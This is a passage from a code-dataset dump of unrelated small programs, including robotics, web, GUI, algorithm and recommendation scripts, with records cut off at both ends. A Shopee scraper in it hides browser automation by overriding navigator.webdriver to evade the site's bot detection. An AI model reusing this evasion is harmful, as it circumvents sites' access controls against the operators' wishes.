1 # 그 값을 카운트해준다.\n if error == 0:\n group_word += 1 # 남은 문자열에 현재 글자가 없을 경우 +1을 해준다.\nprint(group_word)","repo_name":"cmblir/Algorithm_Korea","sub_path":"백준/Silver/1316. 그룹 단어 체커/그룹 단어 체커.py","file_name":"그룹 단어 체커.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27607312617","text":"#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import Int8MultiArray\nfrom geometry_msgs.msg import Twist\nimport numpy as np\n\nARRAY_SIZE = 101\nINPUTS = ['wpt', 'obst']\n\nclass Midbrain_Arbiter(object):\n\tdef __init__(self):\n\t\trospy.init_node('midbrain_arbiter')\n\n\t\tself.vel_array = np.zeros([len(INPUTS), ARRAY_SIZE])\n\t\tself.vel_array[:,49] = 1\n\t\tself.turn_array = np.zeros([len(INPUTS), ARRAY_SIZE])\n\t\tself.turn_array[:,49] = 1\n\n\t\trospy.Subscriber('wpt/cmd_vel', Int8MultiArray, self.wpt_cmd_vel_cb)\n\t\trospy.Subscriber('obst/cmd_vel', Int8MultiArray, self.obst_cmd_vel_cb)\n\n\t\tself.cmd_vel_pub = rospy.Publisher('cmd_vel', Twist, queue_size=1)\n\n\tdef wpt_cmd_vel_cb(self, msg):\n\t\t#print(\"TURN INPUT\")\n\t\t#print(msg)\n\t\tself.update_array(msg.data, INPUTS.index('wpt'))\n\n\tdef obst_cmd_vel_cb(self, msg):\n\t\t#print(\"VEL INPUT\")\n\t\t#print(msg)\n\t\tself.update_array(msg.data, INPUTS.index('obst'))\n\n\tdef update_array(self, data, row):\n\t\tprint(data)\n\t\tdata = np.asarray(data).reshape([2, ARRAY_SIZE])\n\t\tprint(\"INPUT DATA\")\n\t\tself.vel_array[row] = data[0]\n\t\tprint(self.vel_array)\n\t\tself.turn_array[row] = data[1]\n\t\tprint(self.turn_array)\n\n\tdef run(self):\n\t\tvel_sum_array = np.zeros(ARRAY_SIZE)\n\t\tturn_sum_array = np.zeros(ARRAY_SIZE)\n\t\t#vel_sum_array = np.array([1., 2, 3, 4, 5, 6, 5, 5 ,5, 2])\n\t\t#turn_sum_array = np.array([0., 0, 10, 1, 2, 3, 3, 2, 1, 1])\n\t\tfor i in range(len(INPUTS)):\n\t\t\tprint(\"SUM ARRAYS\")\n\t\t\tvel_sum_array += self.vel_array[i]\n\t\t\tturn_sum_array += self.turn_array[i]\n\n\t\t#print(vel_sum_array)\n\t\t#print(turn_sum_array)\n\t\t\n\t\tvel = vel_sum_array.argmax()\n\t\t#print(vel)\n\t\tturn = turn_sum_array.argmax()\n\t\t#print(turn)\n\t\tmsg = Twist()\n\t\tmsg.linear.x = float(2*vel)/float((ARRAY_SIZE-1))-1\n\t\tprint(msg.linear.x)\n\t\tmsg.angular.z = float(2*turn)/float((ARRAY_SIZE-1))-1 #Turn a maximum of 0.25 instead of 1\n\t\tprint(msg.linear.y)\n\t\tself.cmd_vel_pub.publish(msg)\n\nif __name__ == '__main__':\n\tmain = Midbrain_Arbiter()\n\tr = rospy.Rate(50)\n\twhile not rospy.is_shutdown():\n\t\tmain.run()\n\t\tr.sleep()\n","repo_name":"kghite/FunRobo2016","sub_path":"ROS/mystery_machine/scripts/arbiter.py","file_name":"arbiter.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12977104708","text":"from app.models import Events\nfrom app.decorators import *\nfrom app.utils import *\nfrom app.enums import *\nfrom django.views.decorators.csrf import csrf_exempt\n\n\n@csrf_exempt\n@accepts('get')\ndef get_transaction_history(request, acc_id):\n data = []\n history = Events.objects.filter(entityID=acc_id).filter(event_type__in=[EVENT_DEPOSIT_ACCEPTED, EVENT_INITIAL_DEPOSIT, EVENT_FEES_CHARGED,\n EVENT_TRANSFER_ACCEPTED, EVENT_WITHDRAWAL_ACCEPTED, EVENT_INCOMING_PAYMENT])\n if not history:\n return api_response_fail(\"not_enough_data\")\n\n for i in history:\n if 'from' in i.data.keys():\n sender = Events.objects.filter(event_type=EVENT_USER_SIGNED_UP).filter(id=i.data['from']).first().data['email']\n i.data['from'] = sender\n if 'to' in i.data.keys():\n recipient = Events.objects.filter(event_type=EVENT_USER_SIGNED_UP).filter(id=i.data['to']).first().data['email']\n i.data['to'] = recipient\n\n i.data['event'] = i.event_type\n i.data['date'] = i.created_at.date()\n data.append(i.data)\n\n balance = sum([float(i['amount']) for i in data])\n state = {\"state\": data, \"balance\": balance}\n return api_response_ok(state)\n","repo_name":"dragoroff/official","sub_path":"Projects/phanpay_server/app/Services/Reports/User/transaction_history_user.py","file_name":"transaction_history_user.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33675008435","text":"'''\r\nParallel processing\r\nTask. You have a program which is parallelized and uses n independent threads\r\n to process the given list of m jobs. Threads take jobs in the order they\r\n are given in the input. If there is a free thread, it immediately takes the\r\n next job from the list. If a thread has started processing a job, it doesn’t\r\n interrupt or stop until it finishes processing the job. If several threads\r\n try to take jobs from the list simultaneously, the thread with smaller index\r\n takes the job. For each job you know exactly how long will it take any thread\r\n to process this job, and this time is the same for all the threads. You need to\r\n determine for each job which thread will process it and when will it start processing.\r\nInput Format. The first line of the input contains integers n and m. The second line contains\r\n m integers ti — the times in seconds it takes any thread to process i-th job.\r\n The times are given in the same order as they are in the list from which\r\n threads take jobs. Threads are indexed starting from 0.\r\nOutput Format. Output exactly m lines. i-th line (0-based index is used) should contain\r\n two space - separated integers — the 0-based index of the thread which\r\n will process the i-th job and the time in seconds when it will start\r\n processing that job.\r\n'''\r\n\r\nfrom collections import namedtuple\r\nimport math\r\n\r\n\r\nthread = namedtuple('thread', 'num seconds')\r\n\r\n\r\nclass ThreadsHeap:\r\n def __init__(self, num):\r\n self.num_of_threads = num\r\n self.heap = [thread(i, 0) for i in range(num)]\r\n self.assigned_jobs = []\r\n \r\n def set_free_thread_on_the_job(self, time):\r\n self.assigned_jobs.append([self.heap[0].num, self.heap[0].seconds])\r\n self.change_head_priority(time)\r\n \r\n def change_head_priority(self, time):\r\n self.heap[0] = thread(self.heap[0].num, self.heap[0].seconds + time)\r\n self.sift_thread_down(0)\r\n \r\n def sift_thread_down(self, index):\r\n left_index, right_index = index * 2 + 1, index * 2 + 2\r\n left_thread = self.heap[left_index] if left_index < self.num_of_threads \\\r\n else thread(left_index, math.inf)\r\n right_thread = self.heap[right_index] if right_index < self.num_of_threads \\\r\n else thread(right_index, math.inf)\r\n if left_thread.seconds == math.inf and right_thread.seconds == math.inf:\r\n return\r\n current_thread = self.heap[index]\r\n min_thread = self.get_min_thread(left_thread, right_thread)\r\n if current_thread.seconds < min_thread.seconds or \\\r\n (current_thread.seconds == min_thread.seconds\r\n and current_thread.num < min_thread.num):\r\n return\r\n min_thread_index = left_index if min_thread == left_thread else right_index\r\n self.swap_threads(index, min_thread_index)\r\n self.sift_thread_down(min_thread_index)\r\n\r\n def swap_threads(self, i, j):\r\n self.heap[i], self.heap[j] = self.heap[j], self.heap[i]\r\n \r\n def get_min_thread(self, a, b):\r\n if a.seconds == b.seconds:\r\n return a if a.num < b.num else b\r\n return a if a.seconds < b.seconds else b\r\n\r\n def get_report(self):\r\n return self.assigned_jobs\r\n\r\n\r\nclass JobQueue:\r\n def __init__(self):\r\n self.num_workers, m = map(int, input().split())\r\n self.jobs = list(map(int, input().split()))\r\n self.queue = []\r\n assert m == len(self.jobs)\r\n \r\n def write_response(self):\r\n for i in range(len(self.jobs)):\r\n print(self.queue[i][0], self.queue[i][1])\r\n\r\n def assign_jobs(self):\r\n heap = ThreadsHeap(self.num_workers)\r\n for job in self.jobs:\r\n heap.set_free_thread_on_the_job(job)\r\n self.queue = heap.get_report()\r\n \r\n def solve(self):\r\n self.assign_jobs()\r\n self.write_response()\r\n\r\n\r\njob_queue = JobQueue()\r\njob_queue.solve()\r\n","repo_name":"edadasko/coursera_algorithms","sub_path":"data_structures /parallel_processing.py","file_name":"parallel_processing.py","file_ext":"py","file_size_in_byte":4045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31939638451","text":"from PySide6.QtWidgets import QApplication, QDialog, QLabel, QLineEdit, QPushButton, QVBoxLayout, QDialogButtonBox\nfrom PySide6.QtGui import QIcon\n\nclass InputBox(QDialog):\n def __init__(self, title, label):\n super().__init__()\n self.setWindowTitle(title)\n self.setLayout(QVBoxLayout())\n\n self.label = QLabel(label, self)\n self.layout().addWidget(self.label)\n\n self.line_edit = QLineEdit(self)\n self.line_edit.setEchoMode(QLineEdit.Password)\n self.layout().addWidget(self.line_edit)\n\n button_box = self.create_button_box()\n self.layout().addWidget(button_box)\n\n def create_button_box(self):\n button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel, self)\n button_box.accepted.connect(self.accept)\n button_box.rejected.connect(self.reject)\n return button_box\n\n def set_custom_icon(self, icon):\n self.setWindowIcon(icon)\n\n def textValue(self):\n return self.line_edit.text()\n\ndef input_msg_box(title, label):\n icon = QIcon('pys6_msgBoxes/icons/icons8-advert48 (1).png')\n msgbox = InputBox(title, label)\n msgbox.set_custom_icon(icon)\n result = msgbox.exec()\n value = msgbox.textValue() if result else None\n return value\n","repo_name":"AlejandroMartinez04/Inventory-PlanetMovil","sub_path":"pys6_msgBoxes/input_box.py","file_name":"input_box.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5442457876","text":"import os\nimport sys\n\nimport eventlet\n# NOTE(jokke): As per the eventlet commit\n# b756447bab51046dfc6f1e0e299cc997ab343701 there's circular import happening\n# which can be solved making sure the hubs are properly and fully imported\n# before calling monkey_patch(). This is solved in eventlet 0.22.0 but we\n# need to address it before that is widely used around.\neventlet.hubs.get_hub()\n\nif os.name == 'nt':\n # eventlet monkey patching the os module causes subprocess.Popen to fail\n # on Windows when using pipes due to missing non-blocking IO support.\n eventlet.patcher.monkey_patch(os=False)\nelse:\n eventlet.patcher.monkey_patch()\n\n# Monkey patch the original current_thread to use the up-to-date _active\n# global variable. See https://bugs.launchpad.net/bugs/1863021 and\n# https://github.com/eventlet/eventlet/issues/592\nimport __original_module_threading as orig_threading\nimport threading\norig_threading.current_thread.__globals__['_active'] = threading._active\n\nfrom oslo_reports import guru_meditation_report as gmr\nfrom oslo_utils import encodeutils\n\n# If ../glance/__init__.py exists, add ../ to Python search path, so that\n# it will override what happens to be installed in /usr/(local/)lib/python...\npossible_topdir = os.path.normpath(os.path.join(os.path.abspath(sys.argv[0]),\n os.pardir,\n os.pardir))\nif os.path.exists(os.path.join(possible_topdir, 'glance', '__init__.py')):\n sys.path.insert(0, possible_topdir)\n\nimport glance_store\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nimport osprofiler.initializer\n\nimport glance.async_\nfrom glance.common import config\nfrom glance.common import exception\nfrom glance.common import wsgi\nfrom glance import notifier\nfrom glance import version\n\nCONF = cfg.CONF\nCONF.import_group(\"profiler\", \"glance.common.wsgi\")\nlogging.register_options(CONF)\nwsgi.register_cli_opts()\n\n# NOTE(rosmaita): Any new exceptions added should preserve the current\n# error codes for backward compatibility. The value 99 is returned\n# for errors not listed in this map.\nERROR_CODE_MAP = {RuntimeError: 1,\n exception.WorkerCreationFailure: 2,\n glance_store.exceptions.BadStoreConfiguration: 3,\n ValueError: 4,\n cfg.ConfigFileValueError: 5}\n\n\ndef fail(e):\n sys.stderr.write(\"ERROR: %s\\n\" % encodeutils.exception_to_unicode(e))\n return_code = ERROR_CODE_MAP.get(type(e), 99)\n sys.exit(return_code)\n\n\ndef main():\n try:\n config.parse_args()\n config.set_config_defaults()\n wsgi.set_eventlet_hub()\n logging.setup(CONF, 'glance')\n gmr.TextGuruMeditation.setup_autorun(version)\n notifier.set_defaults()\n\n if CONF.profiler.enabled:\n osprofiler.initializer.init_from_conf(\n conf=CONF,\n context={},\n project=\"glance\",\n service=\"api\",\n host=CONF.bind_host\n )\n\n # NOTE(danms): Configure system-wide threading model to use eventlet\n glance.async_.set_threadpool_model('eventlet')\n\n server = wsgi.Server(initialize_glance_store=True)\n server.start(config.load_paste_app('glance-api'), default_port=9292)\n server.wait()\n except Exception as e:\n fail(e)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"openstack/glance","sub_path":"glance/cmd/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":501,"dataset":"github-code","pt":"54"} +{"seq_id":"31169730728","text":"import undetected_chromedriver as uc\nfrom bs4 import BeautifulSoup\nimport random\nimport time\nimport os\ndir = os.path.dirname(os.path.abspath(\"R:/\"))\nos.chdir(dir)\n\ndef add():\n Settings = uc.ChromeOptions()\n Settings.add_argument(\"--headless\")\n Settings.add_argument(f\"--remote-debugging-port={random.randint(1024,65535)}\")\n Settings.add_argument('--disable-cache')\n Settings.add_argument('--disk-cache-size=0')\n Settings.add_argument('--media-cache-size=0')\n Settings.add_argument('--disable-application-cache')\n Settings.add_argument('--disable-browser-side-navigation')\n Settings.add_argument('--disable-offline-load-stale-cache')\n Settings.add_argument('--disable-browser-side-navigation')\n return Settings\n\ndef shopee(search):\n driver = uc.Chrome(options=add())\n driver.get(f\"https://shopee.tw/search?keyword={search}\")\n driver.execute_script('Object.defineProperty(navigator, \"webdriver\", {get: () => undefined})')\n\n for i in range(2,7):\n SCROLL_INCREMENT = i*700\n time.sleep(1)\n driver.execute_script(f\"window.scrollTo(0,{SCROLL_INCREMENT});\")\n\n bs4 = BeautifulSoup(driver.page_source, \"html.parser\")\n\n data = bs4.select(\"div.col-xs-2-4.shopee-search-item-result__item\")\n\n for data in data:\n All = data.find(\"div\" , class_=\"KMyn8J\")\n print(All.text)\n\n time.sleep(1)\n driver.quit()\nshopee(input(\"搜尋: \"))","repo_name":"TenshinoOtoKafu/Implementation-Project","sub_path":"python Implementation/爬蟲相關測試/__ProjectProductionTest__/shopee.py","file_name":"shopee.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36330329079","text":"'''\n\n두 개 뽑아서 더하기\n문제 설명\n정수 배열 numbers가 주어집니다. numbers에서 서로 다른 인덱스에 있는 두 개의 수를 뽑아 더해서 만들 수 있는 모든 수를 배열에 오름차순으로 담아 return 하도록 solution 함수를 완성해주세요.\n\n제한사항\nnumbers의 길이는 2 이상 100 이하입니다.\nnumbers의 모든 수는 0 이상 100 이하입니다.\n입출력 예\nnumbers\tresult\n[2,1,3,4,1]\t[2,3,4,5,6,7]\n[5,0,2,7]\t[2,5,7,9,12]\n입출력 예 설명\n입출력 예 #1\n\n2 = 1 + 1 입니다. (1이 numbers에 두 개 있습니다.)\n3 = 2 + 1 입니다.\n4 = 1 + 3 입니다.\n5 = 1 + 4 = 2 + 3 입니다.\n6 = 2 + 4 입니다.\n7 = 3 + 4 입니다.\n따라서 [2,3,4,5,6,7] 을 return 해야 합니다.\n입출력 예 #2\n\n2 = 0 + 2 입니다.\n5 = 5 + 0 입니다.\n7 = 0 + 7 = 5 + 2 입니다.\n9 = 2 + 7 입니다.\n12 = 5 + 7 입니다.\n따라서 [2,5,7,9,12] 를 return 해야 합니다.\n\n'''\n\n# 음 풀었긴 했는데, 영 찝찝한 문제였다. 좀 더 깔끔한 답들이 있을껀데 고민해보자\n\nnumbers = [2,1,3,4,34,211,1]\n\nfrom itertools import combinations\n\ndef two_sum(x):\n return x[0] + x[1]\n\ndef solution(numbers):\n sum_list = list(combinations(numbers, 2))\n two_sort = list(map(two_sum,sum_list))\n two_set = set(two_sort)\n two_sort = list(two_set)\n two_sort.sort()\n\n return two_sort\n\nprint(solution(numbers))\n","repo_name":"ais04134/algorithm","sub_path":"프로그래머스/기타문제/5. 월간 코드 챌린지 시즌1_두 개 뽑아서 더하기.py","file_name":"5. 월간 코드 챌린지 시즌1_두 개 뽑아서 더하기.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6210926316","text":"from enum import Enum\n\nimport streamlit as st\n\nimport util_functions\n\n\nclass ElementKeys(Enum):\n NEW_TODO_INPUT = \"NEW_TODO_INPUT\",\n TODO_ITEM_PREFIX = \"TODO_ITEM_PREFIX\",\n\n\ntodos = util_functions.read_todos()\n\n\ndef on_add_new_todo():\n new_todo = st.session_state[ElementKeys.NEW_TODO_INPUT]\n todos.append(new_todo)\n util_functions.save_todos(todos)\n st.session_state[ElementKeys.NEW_TODO_INPUT] = \"\"\n print(todos)\n\n\nst.title(\"Super Awesome TODO App\")\nst.subheader(\"This app is to increase your productivity!\")\nst.write(\"This is yet another TODO app. Written in Python using the Streamlit framework\")\nst.text_input(key=ElementKeys.NEW_TODO_INPUT, label=\"New TODO\", placeholder=\"Add a new TODO...\",\n on_change=on_add_new_todo)\nst.write(\"\")\n\nfor index, todo in enumerate(todos):\n key = f\"{ElementKeys.TODO_ITEM_PREFIX.name}-{index}\"\n is_checked = st.checkbox(todo, key=key)\n if is_checked:\n todos.pop(index)\n util_functions.save_todos(todos)\n st.rerun()\n","repo_name":"eslaurente/python-todo-webapp","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35405272980","text":"import argparse\nfrom time import sleep\n\nfrom DataStreamRegistry import *\n\n\"\"\"\nStarts the server\n\"\"\"\ndef main():\n args = GetArgumentValues()\n reg = DataStreamRegistry(args.ip, args.port)\n print(\"Starting server at\", args.ip, \"on port\", args.port)\n while reg.GetInputs():\n reg.ReadSockets()\n\n\n\"\"\"\nParses the command line arguments into an argparse structure\n\"\"\"\ndef GetArgumentValues():\n parser = argparse.ArgumentParser(description='Server for the ADAF')\n parser.add_argument('--ip', type=str, nargs='?', default='localhost',\n help='The IP address of the server')\n parser.add_argument('--port', type=int, nargs='?', default=10000,\n help='The port to communicate over')\n return parser.parse_args()\n\nmain()\n","repo_name":"alexweav/ADAF","sub_path":"Server/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"28851147225","text":"import random\n\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\n#Write your code below this line 👇\n\nchoice = {'rock': rock, 'paper': paper, 'scissors': scissors}\n\nplay = True\nwhile(play):\n\n\tplayer_choice = input(\"Choose Rock or Paper or Scissors: \").lower()\n\tif(player_choice not in choice.keys()):\n\t\tbreak\n\tprint(choice[player_choice])\n\n\tcomputer_choice = random.choice(list(choice.keys()))\n\tprint(\"Computer chooses\\n\" + choice[computer_choice])\n\n\tif player_choice == 'rock':\n\t\tif computer_choice == 'scissors':\n\t\t\tprint(\"You win\")\n\t\telif computer_choice == 'paper':\n\t\t\tprint(\"You loose\")\n\t\telse:\n\t\t\tprint(\"It's a draw\")\n\n\telif player_choice == 'paper':\n\t\tif computer_choice == 'rock':\n\t\t\tprint(\"You win\")\n\t\telif computer_choice == 'scissors':\n\t\t\tprint(\"You loose\")\n\t\telse:\n\t\t\tprint(\"It's a draw\")\n\n\telse:\n\t\tif computer_choice == 'paper':\n\t\t\tprint(\"You win\")\n\t\telif computer_choice == 'rock':\n\t\t\tprint(\"You loose\")\n\t\telse:\n\t\t\tprint(\"It's a draw\")\n\n\tchoose = input(\"Play again? Y or N \")\n\tif choose != 'Y':\n\t\tplay = False\n\nprint(\"Bye :)\")\n\t\t","repo_name":"mohitrathor98/Practice-Applications","sub_path":"Rock-Paper-Scissors/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12796105437","text":"import pandas as pd\nfrom sklearn.metrics.pairwise import linear_kernel\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport mysql.connector\nimport os \nmysql_user = os.getenv('mysqluser')\nmysql_pw = os.getenv('mysqlpw')\nmysql_host = os.getenv('mysqlhost')\ndef connect_to_db():\n db = mysql.connector.connect(user=mysql_user,\n password=mysql_pw,\n host=mysql_host,\n database='group3'\n )\n return db\ndef get_trending_video_data():\n db = connect_to_db()\n query = '''SELECT * FROM youtube'''\n df = pd.read_sql(query, con=db)\n df['related_description'] = ''\n df['related_tags'] = ''\n return df\ndef get_related_video_data():\n db = connect_to_db()\n query = '''SELECT * FROM related_videos'''\n df = pd.read_sql(query, con=db)\n df['tags'].replace('[]', '', inplace=True)\n return df\ndef clean_tags(df):\n df['tags'] = df['tags'].str.replace('|', ' ')\ndef add_related_video_metadata():\n related = get_related_video_data()\n clean_tags(related)\n trending_df = get_trending_video_data()\n unique_ids = related['related_vid_id'].unique()\n for i in unique_ids:\n related_df = related.loc[related['related_vid_id'] == i]\n related_description = related_df['description'].str.cat(sep=' ')\n related_tags = related_df['tags'].str.cat(sep=' ')\n trending_df.loc[trending_df['video_id'] == i, 'related_description'] = related_description\n trending_df.loc[trending_df['video_id'] == i, 'related_tags'] = related_tags\n return trending_df\ndef create_soup(x):\n # return x['description'] + x['tags']\n return x['description'] + x['tags'] + x['related_description'] + x['related_tags']\ntfidf = TfidfVectorizer(stop_words='english')\nmetadata = add_related_video_metadata()\nmetadata['description'] = metadata['description'].fillna('')\nmetadata['tags'] = metadata['tags'].str.replace('|', ' ')\nmetadata['soup'] = metadata.apply(create_soup, axis=1)\ntfidf_matrix = tfidf.fit_transform(metadata['soup'])\ncosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\nindices = pd.Series(metadata.index, index=metadata['video_id']).drop_duplicates()\npd.set_option('display.max_colwidth', None)\ndef get_recommendations(video_id, cosine_sim=cosine_sim):\n idx = indices[video_id]\n sim_scores = list(enumerate(cosine_sim[idx]))\n sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n sim_scores = sim_scores[1:11]\n video_indices = [i[0] for i in sim_scores]\n # print(metadata[['video_id', 'title']].loc[metadata['video_id'] == video_id])\n return metadata[['video_id', 'title']].iloc[video_indices]\n\n","repo_name":"agonzalez1216/Youtube-Recommendation-System","sub_path":"django_youtube/youtube_gui/ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35338786877","text":"from __future__ import division\nimport time\nimport math\nimport Adafruit_PCA9685\npwm=Adafruit_PCA9685.PCA9685()\n\ndef set_servo_pulse(channel,pulse):\n\tpulse_length=1000000\n\tpulse_length //= 60\n\tprint('{0}us per period'.format(pulse_length))\n\tpulse_length //= 4096\n\tprint('{0}us per bit'.format(pulse_length))\n\tpulse *= 1000\n\tpulse //= pulse_length\n\tpwm.set_pwm(channel,0,pulse)\n\tpwm.set_pwm(channel,1,pulse)\n\tpwm.set_pwm(channel,2,pulse)\n\tpwm.set_pwm(channel,3,pulse)\n\npwm.set_pwm_freq(60)\n\nprint('Moving servo on channel 0, press Ctrl-C to quit...')\n\ndef angle_calc(ang):\n\tangle=(8.0/3)*float(ang)+400\n\treturn int(angle)\n\n'''#Forward Parameters\nAver=70\nAhor=0\nw_ver=(5.0/6)*math.pi\nw_ver=4*math.pi\nw_hor=0\nd_ver=(2.0/3)*math.pi\nd_ver=2*math.pi\nd_hor=0\ndelta0=0.0\nOver=0\nOhor=0'''\n\n#Roll Parameters\nAver=20\nAhor=20\nw_ver=4*math.pi\nw_hor=4*math.pi\nd_ver=2*math.pi\nd_hor=-2*math.pi\ndelta0=(30.0/180)*math.pi\nOver=0\nOhor=0\n\ndef forward_motion_ver(i,t):\n\tang=float(w_ver*t+(i-1)*d_ver)\n\tang=float(ang*(math.pi/180))\n\ttheta_ver=Aver*math.sin(ang)+Over\n\treturn theta_ver\n\ndef forward_motion_hor(i,t):\n\tang=float(w_hor*t+(i-1)*d_hor+delta0)\n\tang=float(ang*(math.pi/180))\n\ttheta_hor=Ahor*math.sin(ang)+Ohor\n\treturn theta_hor\nloops=50\nfor x in range(0,loops*30):\n\tpwm.set_pwm(3,0,angle_calc(forward_motion_hor(1,x)))\n#\tpwm.set_pwm(2,0,angle_calc(forward_motion_ver(1,x)))\n\tpwm.set_pwm(1,0,angle_calc(forward_motion_hor(2,x)))\n\tpwm.set_pwm(0,0,angle_calc(forward_motion_ver(2,x)))\n\tpwm.set_pwm(2,0,angle_calc(0))\n\tprint(x)\n\tprint(angle_calc(forward_motion_hor(1,x)))\n\tprint(angle_calc(forward_motion_ver(1,x)))\n\tprint(angle_calc(forward_motion_hor(2,x)))\n\tprint(angle_calc(forward_motion_ver(2,x)))\n\ttime.sleep(0.001)\n","repo_name":"shalini-10/Modular_Snake_Robot","sub_path":"Adafruit_Python_PCA9685/examples/snake_gait.py","file_name":"snake_gait.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72169088163","text":"mat = []\ntam = int(input(\"tamanho da matriz quadrada:\"))\nident = []\nfor i in range(0,tam):\n mat.append(0)\n mat[i] = []\n for j in range(0,tam):\n mat[i].append(int(input(f\"elem [{str(i+1)},{str(j+1)}]:\")))\n\nprint ('\\n{:*^30}\\n'.format(' Matriz original '))\n\nfor i in range(tam):\n ident.append(0)\n ident[i] = []\n for j in range(tam):\n ident[i].append(mat[j][i])\n\n print (('{:>10d}').format(mat[i][j]),end='')\n print() \n\nprint ('\\n{:*^30}\\n'.format(' Matriz transposta '))\n\nfor i in range(tam):\n for j in range(tam):\n print (('{:>10d}').format(ident[i][j]),end='')\n print()\n","repo_name":"ddank0/Python-ex","sub_path":"2020/listas/ex q6 e q6/ex09.py","file_name":"ex09.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2233212493","text":"def bounds_checked(func):\n def wrapper(self, pos, *args, **kwargs):\n self.bounds_check(pos)\n return func(self, pos, *args, **kwargs)\n return wrapper\n\n\nclass SparseMatrix:\n def __init__(self, rows, columns):\n self.entries = dict()\n self.rows = rows\n self.columns = columns\n\n def bounds_check(self, key):\n if key[0] < 0 or key[1] < 0:\n raise KeyError(\"matrix coordinates cannot be negative\")\n if key[0] > self.rows:\n raise KeyError(\"row index \"+str(key[0])+\" out of bounds\")\n if key[1] > self.columns:\n raise KeyError(\"column index \"+str(key[1])+\" out of bounds\")\n\n def keys(self):\n return self.entries.keys()\n\n def values(self):\n return self.entries.values()\n\n def items(self):\n return self.entries.items()\n\n @bounds_checked\n def __getitem__(self, pos):\n if pos not in self.entries:\n return 0\n return self.entries[pos]\n\n @bounds_checked\n def __setitem__(self, pos, value):\n if value == 0:\n self.entries.pop(pos, None)\n else:\n self.entries[pos] = value\n return self\n\n def __str__(self):\n row_strings = []\n try:\n decimals = len(str(max(self.entries.values())))\n except Exception:\n decimals = 1\n format_string='{{:{}d}}'.format(decimals)\n for row in range(0, self.rows):\n row_string = \" \".join([format_string.format(self[row,i]) \\\n for i in range(self.columns)])\n row_strings.append(row_string)\n return '\\n'.join(row_strings)\n\n def merge(self, other, row_offset=0, column_offset=0):\n # Transform entries\n entries = {(row + row_offset, column + column_offset): value \\\n for (row, column), value in other.entries.items()}\n\n self.add_entries(entries)\n return self\n\n def add_entries(self, entries):\n # Filter entries\n filtered = {(row, column): value \\\n for (row, column), value in entries.items() \\\n if row < self.rows and row >= 0\\\n and column < self.columns and column >= 0}\n\n # Update existing entries\n for key in set(self.entries.keys()) & set(filtered.keys()):\n self.entries[key] += filtered[key]\n\n # Add new entries\n self.entries.update({key: filtered[key] \\\n for key in \\\n set(filtered.keys()) - set(self.entries.keys())})\n\n\n def __add__(self, other):\n result = SparseMatrix(self.rows, self.columns)\n result.add_entries(self.entries)\n result.add_entries(other.entries)\n return result\n\n def __iadd__(self, other):\n self.add_entries(other.entries)\n return self\n","repo_name":"gbansaghi/pyfractal","sub_path":"util/sparsematrix.py","file_name":"sparsematrix.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42620931735","text":"#!/usr/bin/env python3\nimport argparse\nimport sys\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--name\", type=str)\n parser.add_argument(\n \"--path\", default=\"/Volumes/SEAGATE M3/quickdraw-dataset\", type=str\n )\n parser.add_argument(\"--count\", default=100, type=int)\n args = parser.parse_args()\n\n print(args.name, file=sys.stderr)\n\n with open(f\"{args.path}/{args.name}.ndjson\") as f:\n for i in range(args.count):\n print(f.readline(), end=\"\")\n","repo_name":"peter-grajcar/drawtomat","sub_path":"experiments/quickdraw/quickdraw_dataset_extract.py","file_name":"quickdraw_dataset_extract.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"22150854876","text":"seasons = ['春', '夏', '秋', '冬']\r\ntarget = '秋'\r\n\r\nprint('リストから',target,'を探索します')\r\n\r\nfor season in seasons:\r\n if target in 